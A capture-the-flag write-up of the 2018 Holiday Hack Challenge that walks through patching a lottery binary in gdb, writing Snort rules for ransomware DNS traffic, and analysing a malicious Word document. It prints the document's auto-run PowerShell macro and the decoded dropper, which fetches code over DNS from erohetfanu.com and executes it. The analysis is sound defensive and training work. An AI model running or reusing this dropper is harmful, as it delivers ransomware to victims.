{"username": "alabaster", "password": "Packer-p@re-turntable192"} {"username":"alabaster","is_admin":true,"email":"alabaster.snowball@localhost.local","_id":"5bd73470388788152cf8b906"};
We are looking for a song title in a mail, remember ? But there is no mail there in the captures. May be there is a capture saved in one of these user profiles ? There is only one admin : alabaster, so let's try to log in with his credentials...
There is a Super secret capture
in his saved captures :
Opening it in Wireshark and using the follow stream feature, we get the mail :
We can see that there is an attachment in the mail which is base64 encoded. We can extract it and save in a file named attachment_base64.txt
.
With a first look at the result of base64 -d attachment_base64.txt we see that the attachment is a pdf file. So after a base64 -d attachment_base64.txt > music.pdf we can read it :
At the end of the second page, we get it :
And it works :
Time to update our roadmap :
Objective 9 : Ransomware Recovery
This objective is multiple !
Following our roadmap, we begin by looking for Shinny Upatree :
Hi, I'm Shinny Upatree.
Hey! Mind giving ole' Sginny Upatree
some help? There's a contest I HAVE
to win.
As long as no one else wins first, I
can just keep trying to win the Sleigh
Bell Lotto, but this could take forever!
I'll bet the GNU Debugger can help
us. With the PEDA modules installed
it can be prettier. I mean easier.
Seems that we have to cheat a little bit at the Lotto...
And probably the new hint Using gdb to Call Random Functions can help us. And may be the PEDA gdb extension also.
Terminal "The Sleighbell" (first floor at left hand)
I'll hear the bells on Christmas Day Their sweet, familiar sound will play But just one elf, Pulls off the shelf, The bells to hang on Santa's sleigh! Please call me Shinny Upatree I write you now, 'cause I would be The one who gets - Whom Santa lets The bells to hang on Santa's sleigh! But all us elves do want the job, Conveying bells through wint'ry mob To be the one Toy making's done The bells to hang on Santa's sleigh! To make it fair, the Man devised A fair and simple compromise. A random chance, The winner dance! The bells to hang on Santa's sleigh! Now here I need your hacker skill. To be the one would be a thrill! Please do your best, And rig this test The bells to hang on Santa's sleigh! Complete this challenge by winning the sleighbell lottery for Shinny Upatree. elf@ff5509058536:~$
Ok, let's try the Sleighbell lotto :
elf@c6645e060dc4:~$ ./sleighbell-lotto The winning ticket is number 1225. Rolling the tumblers to see what number you'll draw... You drew ticket number 8563! Sorry - better luck next year! elf@c6645e060dc4:~$
The winning ticket is always the 1225
.
We run strings sleighbell-lotto just to see if something pops up and we saw some interesting strings :
elf@c6645e060dc4:~$ strings sleighbell-lotto /lib64/ld-linux-x86-64.so.2 libcrypto.so.1.1 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable EVP_sha256 HMAC libc.so.6 exit srand puts time __stack_chk_fail printf strlen memset memcpy malloc getenv sleep __cxa_finalize __libc_start_main free OPENSSL_1_1_0 GLIBC_2.14 GLIBC_2.4 GLIBC_2.2.5 5bv %dv %bv %Zv %Rv %Jv %Bv %:v %2v %*v %"v =1v ='u =*u ATSH [A\] AWAVI AUATL %ng -ng []A\A]A^A_ G1szN20[_a_very_long_and_boring_base64_string_zapped_for_convenience_]zdtIB 0123456789abcdef RESOURCE_ID I'm very sorry, but we seem to have an internal issue preventing the successful completion of this challenge. Please email support@holidayhackchallenge.com with a screen-shot or any other details you can provide. Thank you! Congratulations! You've won, and have successfully completed this challenge. Sorry - better luck next year! The winning ticket is number 1225. Rolling the tumblers to see what number you'll draw... You drew ticket number ;*3$" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/8 GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7696 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry hmac_sha256.c sleigh-bell-lotto.c encoding_table __FRAME_END__ __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __init_array_end __init_array_start _DYNAMIC printf@@GLIBC_2.2.5 memset@@GLIBC_2.2.5 __libc_csu_fini __gmon_start__ puts@@GLIBC_2.2.5 exit@@GLIBC_2.2.5 tohex winnermsg malloc@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 winnerwinner hmac_sha256 decoded_data _ITM_deregisterTMCloneTable _IO_stdin_used free@@GLIBC_2.2.5 strlen@@GLIBC_2.2.5 _ITM_registerTMCloneTable __data_start __cxa_finalize@@GLIBC_2.2.5 base64_decode sleep@@GLIBC_2.2.5 __TMC_END__ __dso_handle __libc_csu_init getenv@@GLIBC_2.2.5 __bss_start __stack_chk_fail@@GLIBC_2.4 HMAC@@OPENSSL_1_1_0 srand@@GLIBC_2.2.5 base64_cleanup sorry build_decoding_table EVP_sha256@@OPENSSL_1_1_0 _edata memcpy@@GLIBC_2.14 time@@GLIBC_2.2.5 main .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment elf@c6645e060dc4:~$
We can also look at the executable symbols with objdump
and the objdump -t sleighbell-lotto command :
elf@c6645e060dc4:~$ objdump -t sleighbell-lotto sleighbell-lotto: file format elf64-x86-64 SYMBOL TABLE: 0000000000000238 l d .interp 0000000000000000 .interp 0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag 0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id 0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash 00000000000002b8 l d .dynsym 0000000000000000 .dynsym 00000000000004c8 l d .dynstr 0000000000000000 .dynstr 00000000000005e4 l d .gnu.version 0000000000000000 .gnu.version 0000000000000610 l d .gnu.version_r 0000000000000000 .gnu.version_r 0000000000000670 l d .rela.dyn 0000000000000000 .rela.dyn 0000000000000748 l d .rela.plt 0000000000000000 .rela.plt 00000000000008c8 l d .init 0000000000000000 .init 00000000000008e0 l d .plt 0000000000000000 .plt 00000000000009f0 l d .plt.got 0000000000000000 .plt.got 0000000000000a00 l d .text 0000000000000000 .text 0000000000001624 l d .fini 0000000000000000 .fini 0000000000001630 l d .rodata 0000000000000000 .rodata 0000000000006dcc l d .eh_frame_hdr 0000000000000000 .eh_frame_hdr 0000000000006e40 l d .eh_frame 0000000000000000 .eh_frame 0000000000207d30 l d .init_array 0000000000000000 .init_array 0000000000207d38 l d .fini_array 0000000000000000 .fini_array 0000000000207d40 l d .dynamic 0000000000000000 .dynamic 0000000000207f40 l d .got 0000000000000000 .got 0000000000208000 l d .data 0000000000000000 .data 0000000000208068 l d .bss 0000000000000000 .bss 0000000000000000 l d .comment 0000000000000000 .comment 0000000000000000 l df *ABS* 0000000000000000 crtstuff.c 0000000000000a30 l F .text 0000000000000000 deregister_tm_clones 0000000000000a70 l F .text 0000000000000000 register_tm_clones 0000000000000ac0 l F .text 0000000000000000 __do_global_dtors_aux 0000000000208068 l O .bss 0000000000000001 completed.7696 0000000000207d38 l O .fini_array 0000000000000000 __do_global_dtors_aux_fini_array_entry 0000000000000b00 l F .text 0000000000000000 frame_dummy 0000000000207d30 l O .init_array 0000000000000000 __frame_dummy_init_array_entry 0000000000000000 l df *ABS* 0000000000000000 hmac_sha256.c 0000000000000000 l df *ABS* 0000000000000000 sleigh-bell-lotto.c 0000000000208020 l O .data 0000000000000040 encoding_table 0000000000208078 l O .bss 0000000000000008 decoding_table 0000000000000000 l df *ABS* 0000000000000000 crtstuff.c 000000000000702c l O .eh_frame 0000000000000000 __FRAME_END__ 0000000000000000 l df *ABS* 0000000000000000 0000000000006dcc l .eh_frame_hdr 0000000000000000 __GNU_EH_FRAME_HDR 0000000000207f40 l O .got 0000000000000000 _GLOBAL_OFFSET_TABLE_ 0000000000207d38 l .init_array 0000000000000000 __init_array_end 0000000000207d30 l .init_array 0000000000000000 __init_array_start 0000000000207d40 l O .dynamic 0000000000000000 _DYNAMIC 0000000000208000 w .data 0000000000000000 data_start 0000000000000000 F *UND* 0000000000000000 printf@@GLIBC_2.2.5 0000000000000000 F *UND* 0000000000000000 memset@@GLIBC_2.2.5 0000000000001620 g F .text 0000000000000002 __libc_csu_fini 0000000000000a00 g F .text 000000000000002b _start 0000000000000000 w *UND* 0000000000000000 __gmon_start__ 0000000000000000 F *UND* 0000000000000000 puts@@GLIBC_2.2.5 0000000000000000 F *UND* 0000000000000000 exit@@GLIBC_2.2.5 0000000000001624 g F .fini 0000000000000000 _fini 0000000000000f18 g F .text 00000000000000bf tohex 0000000000208060 g O .data 0000000000000008 winnermsg 0000000000000000 F *UND* 0000000000000000 malloc@@GLIBC_2.2.5 0000000000000000 F *UND* 0000000000000000 __libc_start_main@@GLIBC_2.2.5 0000000000000fd7 g F .text 00000000000004e0 winnerwinner 0000000000000b0a g F .text 00000000000000c2 hmac_sha256 0000000000208070 g O .bss 0000000000000008 decoded_data 0000000000000000 w *UND* 0000000000000000 _ITM_deregisterTMCloneTable 0000000000001630 g O .rodata 0000000000000004 _IO_stdin_used 0000000000000000 F *UND* 0000000000000000 free@@GLIBC_2.2.5 0000000000000000 F *UND* 0000000000000000 strlen@@GLIBC_2.2.5 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000208000 g .data 0000000000000000 __data_start 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5 0000000000000c43 g F .text 00000000000002d5 base64_decode 0000000000000000 F *UND* 0000000000000000 sleep@@GLIBC_2.2.5 0000000000208068 g O .data 0000000000000000 .hidden __TMC_END__ 0000000000208008 g O .data 0000000000000000 .hidden __dso_handle 00000000000015b0 g F .text 0000000000000065 __libc_csu_init 0000000000000000 F *UND* 0000000000000000 getenv@@GLIBC_2.2.5 0000000000208068 g .bss 0000000000000000 __bss_start 0000000000000000 F *UND* 0000000000000000 __stack_chk_fail@@GLIBC_2.4 0000000000000000 F *UND* 0000000000000000 HMAC@@OPENSSL_1_1_0 0000000000000000 F *UND* 0000000000000000 srand@@GLIBC_2.2.5 0000000000208080 g .bss 0000000000000000 _end 0000000000000c1e g F .text 0000000000000025 base64_cleanup 00000000000014b7 g F .text 0000000000000013 sorry 0000000000000bcc g F .text 0000000000000052 build_decoding_table 0000000000000000 F *UND* 0000000000000000 EVP_sha256@@OPENSSL_1_1_0 0000000000000000 F *UND* 0000000000000000 rand@@GLIBC_2.2.5 0000000000208068 g .data 0000000000000000 _edata 0000000000000000 F *UND* 0000000000000000 memcpy@@GLIBC_2.14 0000000000000000 F *UND* 0000000000000000 time@@GLIBC_2.2.5 00000000000014ca g F .text 00000000000000e1 main 00000000000008c8 g F .init 0000000000000000 _init elf@c6645e060dc4:~$
We retrieve the winnermsg
an winnerwinner
strings. The first one is in the data
segment and the second one in the text
segment, which is the segment
containing the program's code. So there is a winnerwinner
function which is probably called when the player wins.
Time to disassemble and hack this elf !
We launch gdb
and like we are more confortable with the Intel
assembly code representation, we ask gdb
to show code with this flavor :
set disassembly-flavor intel.
And we ask gdb
to disassemble the main
function with disas main :
Dump of assembler code for function main: 0x00000000000014ca <+0>: push rbp 0x00000000000014cb <+1>: mov rbp,rsp 0x00000000000014ce <+4>: sub rsp,0x10 0x00000000000014d2 <+8>: lea rdi,[rip+0x56d6] # 0x6baf 0x00000000000014d9 <+15>: call 0x970 <getenv@plt> 0x00000000000014de <+20>: test rax,rax 0x00000000000014e1 <+23>: jne 0x14f9 <main+47> 0x00000000000014e3 <+25>: lea rdi,[rip+0x56d6] # 0x6bc0 0x00000000000014ea <+32>: call 0x910 <puts@plt> 0x00000000000014ef <+37>: mov edi,0xffffffff 0x00000000000014f4 <+42>: call 0x920 <exit@plt> 0x00000000000014f9 <+47>: mov edi,0x0 0x00000000000014fe <+52>: call 0x9e0 <time@plt> 0x0000000000001503 <+57>: mov edi,eax 0x0000000000001505 <+59>: call 0x9a0 <srand@plt> 0x000000000000150a <+64>: lea rdi,[rip+0x583f] # 0x6d50 0x0000000000001511 <+71>: call 0x910 <puts@plt> 0x0000000000001516 <+76>: mov edi,0x1 0x000000000000151b <+81>: call 0x960 <sleep@plt> 0x0000000000001520 <+86>: call 0x9c0 <rand@plt> 0x0000000000001525 <+91>: mov ecx,eax 0x0000000000001527 <+93>: mov edx,0x68db8bad 0x000000000000152c <+98>: mov eax,ecx 0x000000000000152e <+100>: imul edx 0x0000000000001530 <+102>: sar edx,0xc 0x0000000000001533 <+105>: mov eax,ecx 0x0000000000001535 <+107>: sar eax,0x1f 0x0000000000001538 <+110>: sub edx,eax 0x000000000000153a <+112>: mov eax,edx 0x000000000000153c <+114>: mov DWORD PTR [rbp-0x4],eax 0x000000000000153f <+117>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000001542 <+120>: imul eax,eax,0x2710 0x0000000000001548 <+126>: sub ecx,eax 0x000000000000154a <+128>: mov eax,ecx 0x000000000000154c <+130>: mov DWORD PTR [rbp-0x4],eax 0x000000000000154f <+133>: lea rdi,[rip+0x5856] # 0x6dac 0x0000000000001556 <+140>: mov eax,0x0 0x000000000000155b <+145>: call 0x8f0 <printf@plt> 0x0000000000001560 <+150>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000001563 <+153>: mov esi,eax 0x0000000000001565 <+155>: lea rdi,[rip+0x5858] # 0x6dc4 0x000000000000156c <+162>: mov eax,0x0 0x0000000000001571 <+167>: call 0x8f0 <printf@plt> 0x0000000000001576 <+172>: lea rdi,[rip+0x584a] # 0x6dc7 0x000000000000157d <+179>: call 0x910 <puts@plt> 0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9 0x0000000000001589 <+191>: jne 0x1597 <main+205> 0x000000000000158b <+193>: mov eax,0x0 0x0000000000001590 <+198>: call 0xfd7 <winnerwinner> 0x0000000000001595 <+203>: jmp 0x15a1 <main+215> 0x0000000000001597 <+205>: mov eax,0x0 0x000000000000159c <+210>: call 0x14b7 <sorry> 0x00000000000015a1 <+215>: mov edi,0x0 0x00000000000015a6 <+220>: call 0x920 <exit@plt> End of assembler dump. (gdb)
Like the elf binary is not stripped, we can read the code more easily since we see the function's names.
At offset 0x1582
we can see a comparison between a local variable [rbp-0x4]
and a constant 0x4c9
which decimal value is 1225
! If the local variable is different than the constant, the "sorry" message is printed. But if the variable is equal to the constant the winnerwinner
function is called.
There are a number of methods to call the winnerwinner
function. We could :
- put a breakpoint on the number comparison and modify the value contained by the local variable used by the
jne
instruction ; - put a breakpoint on the number comparison and modify the constant value used for comparison ;
- call the
winnerwinner
function directly, bypassing all other program stuff ; - put a breakpoint on the number comparison and modify the instruction pointer register (
RIP
in 64 bits) to execute thecall
towinnerwinner
function instead of thejne
one ; - modify the code to inhibit the
jne
instruction by « nopping » it. For this, we will replace thejne 0x1597
instruction by somenop
instructions which stands for No « OPeration » ; - and probably more...
We can try to use the hint and call the winnerwinner
function directly.
We put a breakpoint on the entry of the main
function with a break main, and then we run the program with the r command :
(gdb) break main Breakpoint 1 at 0x14ce (gdb)
Next we run the program with r command and it breaks as expected on the start of the main
function :
(gdb) r Starting program: /home/elf/sleighbell-lotto [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x00005555555554ce in main () (gdb)
Then we just ask gdb to call the winnerwinner
function with a jump winnerwinner command :
Ok, we can now return to Shinny Upatree :
Sweet candy goodness - I win! Thank
you so much!
Have you heard that Kringle Castle
was hit by a new ransomware called
Wannacookie?
Several elves reported receiving a
cookie recipe Word doc. When
opened, a PowerShell screen flashed
by and their files were encrypted.
Many elves were affected, so
Alabaster went to go see if he could
help out.
I hope Alabaster watched the
Powershell Malware talk at
Kringlecon before he tried analyzing
Wannacookie on his computer.
An elf I follow online said he analyzed
Wannacookie and that it
communicates over DNS.
He also said that Wannacookie
transfers files over DNS and that it
looks like it grabs a public key this
way.
Another recent ransomware made it
possible to retrieve crypto keys from
memory. Hopefully the same is true
for Wannacookie!
Of course, this all depends how the
key was encrypted and managed in
memory. Proper public key encryption
requires a private key to decrypt.
Perhaps there is a flaw in the
wannacookie author's DNS server that we can manipulate to retreive
what we need.
If so, we can retrieve our keys from
memory, decrypt the key, and then
decrypt our ransomed files.
Shinny gives us a lot of interesting informations !
A Powershell cryptolocker named Wanacookie has encrypted all the Elf terminal files. The malware uses DNS requests to communicate with his Command and Control server (C&C or CC or C2 in brief). May be we can help by retrieving crypto keys in memory or by exploiting some C&C flaws ?
It's time to speak with Alabaster Snowball in the secret room and look at those new terminals...
Help, all of our computers have been
encrypted by ransomware!
I came here to help but got locked in
'cause I dropped my "Alabaster
Snowball" badge in a rush.
I started analyzing the ransomware
on my host operating system, ran it
by accident, and now my files are
encrypted!
Unfortunately, the password database
I keep on my computer was
encrypted, so now I don't have
access to any of our systems.
If only there were some way I could
create some kind of traffic filter that
could alert anytime ransomware was
found!
Objective 9.1 : Catch the Malware
Ok, Snort can probably help for this. Let's have a look to this Intrusion Detection System :
Snort Challenge
_ __ _ _ _____ _ _
| |/ / (_) | | / ____| | | | | 1
| ' / _ __ _ _ __ __ _| | ___| | __ _ ___| |_| | ___
| < | '__| | '_ \ / _` | |/ _ \ | / _` / __| __| |/ _ \
| . \| | | | | | | (_| | | __/ |___| (_| \__ \ |_| | __/
|_|\_\_| |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
/ ____| __/ | | |
| (___ |___/ ___ _ __| |_
\___ \| '_ \ / _ \| '__| __|
____) | | | | (_) | | | |_
|_____/|_|_|_|\___/|_|_ \__|
|_ _| __ \ / ____|
| | | | | | (___
_____ | | | | | |\___ \ __
/ ____| _| |_| |__| |____) | /_ |
| (___ |_____|_____/|_____/ _ __ | |
\___ \ / _ \ '_ \/ __|/ _ \| '__| | |
____) | __/ | | \__ \ (_) | | | |
|_____/ \___|_| |_|___/\___/|_| |_|
============================================================
INTRO:
Kringle Castle is currently under attacked by new piece of
ransomware that is encrypting all the elves files. Your
job is to configure snort to alert on ONLY the bad
ransomware traffic.
GOAL:
Create a snort rule that will alert ONLY on bad ransomware
traffic by adding it to snorts /etc/snort/rules/local.rules
file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
Successfully create a snort rule that matches ONLY
bad DNS traffic and NOT legitimate user traffic and the
system will notify you of your success.
Check out ~/more_info.txt for additional information.
elf@669966cf93c9:~$
There is a more_info.txt
file in our home :
elf@fe912a7eb061:~$ ls -A .bash_logout .bashrc .profile more_info.txt snort.log.pcap snort_logs elf@fe912a7eb061:~$
Read those infos :
elf@17c86a419b59:~$ cat more_info.txt MORE INFO: A full capture of DNS traffic for the last 30 seconds is constantly updated to: /home/elf/snort.log.pcap You can also test your snort rule by running: snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf This will create an alert file at ~/snort_logs/alert This sensor also hosts an nginx web server to access the last 5 minutes worth of pcaps for offline analysis. These can be viewed by logging into: http://snortsensor1.kringlecastle.com/ Using the credentials: ---------------------- Username | elf Password | onashelf tshark and tcpdump have also been provided on this sensor. HINT: Malware authors often user dynamic domain names and IP addresses that change frequently within minutes or even seconds to make detecting and block malware more difficult. As such, its a good idea to analyze traffic to find patterns and match upon these patterns instead of just IP/domains.elf@17c86a419b59:~$
The Snort Sensor web site is only a capture file repository :
Studying the snort.log.1546685932.99643.pcap pcap file with Wireshark, we can note some interesting points :
- there are multiple IP sources. In ou example
10.126.0.39
,10.126.0.150
,10.126.0.47
,10.126.0.32
,10.126.0.39
, and so on ; - it'a capture of DNS traffic only ;
- there are a number of DNS requests for names likes
77616E6E61636F6F6B69652E6D696E2E707331.xxxxxxxx.xxx
or0.77616E6E61636F6F6B69652E6D696E2E707331.xxxxxxxx.xxx
, where the subdomain part seem to contain ASCII in hexadecimal ; - when these requests are prefixed with a digit and a dot, the answer length is much longer.
First we can analyze some requested names interpreting the subdomain requested as some hexadecimal ASCII.
Query from packet 1 :
77616E6E61636F6F6B69652E6D696E2E707331.bhruengasr.com w a n n a c o o k i e . m i n . p s 1
Response from packet 2 :
64
Query from packet 5:
77616E6E61636F6F6B69652E6D696E2E707331.grbreu.org w a n n a c o o k i e . m i n . p s 1
Response from packet 2 :
64
Query from packet 9 :
0.77616E6E61636F6F6B69652E6D696E2E707331.grbreu.org: type TXT, class IN
Response converted from hexadecimal ASCII :
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl
Query from packet 17 (same IP source than packet 9):
0.77616E6E61636F6F6B69652E6D696E2E707331.bhruengasr.com: type TXT, class IN
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl
Query from packet 17 (same IP source than packet 9):
1.77616E6E61636F6F6B69652E6D696E2E707331.grbreu.org
Response from packet 18 converted from hexadecima ASCII :
y]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Secur
We can filter on a source IP address to see all his DNS queries. For instance, entering ip.addr==10.126.0.47 in the wireshark filter and sorting by source gives us :
Ok, this is enough. We see that the compromised devices send DNS
requests for names like :
[part_of_file_requested].[wannacookie.min.ps1_hexadimal_ascii_encoded].[some_variable_domain_name].[tld_com_or_org]
Each answer sends a part of the file requested.
So, to detect wanacookie traffic, we can try to filter on the subdomain of the requested names.
We want to alert when there is a DNS request from our network on a name containing .77616E6E61636F6F6B69652E6D696E2E707331..
alert udp $HOME_NET any -> any 53 (msg:”Wanacookie is there”;sid:1000001;rev:1;content:".77616E6E61636F6F6B69652E6D696E2E707331.")
Trying this rule :
We get a message standing that :
elf@f8be739ea472:~$ vi /etc/snort/rules/local.rules
elf@f8be739ea472:~$
[i] Snort is not alerting on all ransomware!
Maybe we are too restrictive and want to alert also on DNS answers ?
A less restrictive filter may be :
alert udp any any -> any any (msg:”Wanacookie is there”;sid:1000001;rev:2;content:".77616E6E61636F6F6B69652E6D696E2E707331.")
Same answer...
...looking again to the pcap...
Ok, our filter won't detect the first DNS request without the first dot !
Here is our third filter test (removing the dots in the content looked for) :
alert udp any any -> any any (msg:”Wanacookie is there”;sid:1000001;rev:3;content:"77616E6E61636F6F6B69652E6D696E2E707331")
Ok, it works :
elf@f8be739ea472:~$ vi /etc/snort/rules/local.rules elf@f8be739ea472:~$ [+] Congratulation! Snort is alerting on all ransomware and only the ransomware! [+]
And this achieve the first Malware objective :
We can now speak again with Amabaster Snowball :
And download the word document refered by the given link : hxxps://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip !
wget https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip
unzip CHOCOLATE_CHIP_COOKIE_RECIPE.zip
Objective 9.2 : Identify the Domain
Note : for the reader who is not aware of malware stuffs, it's a good idea to watch the Chris Davis Analyzing PowerShell Malware video at this time. Chris gives a lot of good advices, practices and tools to help study malicious documents and Powershell scripts.
Now, we have to study the Word document. There is probably an autoload malicious macro inside it. The best tool for viewing the document content and
extract the macro is oletools
. We can download it from
https://github.com/decalage2/oletools/wiki/Install or simply install it with pip :
pip install oletools
Then we can look to the document with a olevba -a CHOCOLATE_CHIP_COOKIE_RECIPE.docm command :
olevba 0.53.1 - http://decalage.info/python/oletools Flags Filename ----------- ----------------------------------------------------------------- OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm =============================================================================== FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm Type: OpenXML ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument' ------------------------------------------------------------------------------- VBA MACRO Module1.bas in file: word/vbaProject.bin - OLE stream: u'VBA/Module1' ------------------------------------------------------------------------------- VBA MACRO NewMacros.bas in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros' +------------+-----------------+-----------------------------------------+ | Type | Keyword | Description | +------------+-----------------+-----------------------------------------+ | AutoExec | AutoOpen | Runs when the Word document is opened | | AutoExec | Document_Open | Runs when the Word or Publisher | | | | document is opened | | Suspicious | Shell | May run an executable file or a system | | | | command | | Suspicious | powershell | May run PowerShell commands | | Suspicious | ExecutionPolicy | May run PowerShell commands | | Suspicious | New-Object | May create an OLE object using | | | | PowerShell | | IOC | powershell.exe | Executable file name | +------------+-----------------+-----------------------------------------+
Ok, there are some AutoOpen
macros there. We can dump them with a olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm :
olevba 0.53.1 - http://decalage.info/python/oletools Flags Filename ----------- ----------------------------------------------------------------- OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm =============================================================================== FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm Type: OpenXML ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) ------------------------------------------------------------------------------- VBA MACRO Module1.bas in file: word/vbaProject.bin - OLE stream: u'VBA/Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Sub Document_Open() Dim cmd As String cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" " Shell cmd End Sub ------------------------------------------------------------------------------- VBA MACRO NewMacros.bas in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub AutoOpen() Dim cmd As String cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" " Shell cmd End Sub
There is a new --reveal
switch in olevba
which can deobfuscate vba strings, but it does not work on this sample.
The macro launch powershell
to execute an obfuscated script. We can extract the obfuscated datas and the part of code which de-obfuscate it and execute only these commands to get the clear script.
Here is the de-obfuscation code extracted :
$b64_datas = 'lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'
$compress = new-object -TypeName System.IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($b64_datas),[IO.Compression.CompressionMode]::Decompress)
$streamReader = new-object -TypeName IO.StreamReader($compress,[Text.Encoding]::ASCII)
$streamReader.ReadToEnd()
Once executed in Powershell, we get this decoded string :
function H2A($a)
{
$o;
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
return $o
};
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1))
{
$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
};
iex($(H2A $h | Out-string))
This code is some sort of dropper. It makes a loop of DNS requests to get the content of wanacookie.min.ps1
file which is the real ransomware code.
Before studying it, we can probably achieve our second malware objective which is to « identify the domain name that the malware communicates with » :
It works :
Going back to speak with Alabaster :
Erohetfanu.com, I wonder what that
means? Unfortunately, Snort alerts
show multiple domains, so blocking
that one won't be effective.
I remember another ransomware in
recent history had a killswitch domain
that, when registered, would prevent
any further infections.
Perhaps there is a mechanism like
that in this ransomware? Do some
more analysis and see if you can find
a fatal flaw and activate it!
I also wonder what erohetfanu
means. It's probably an anagram, but my english is too poor to solve it :-/ !
Objective 9.3 : Stop the Malware
We can run the decoded string without the last execution command (the iex
one) to download the content of the file through the loop of DNS requests :
function H2A($a)
{
$o;
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
return $o
};
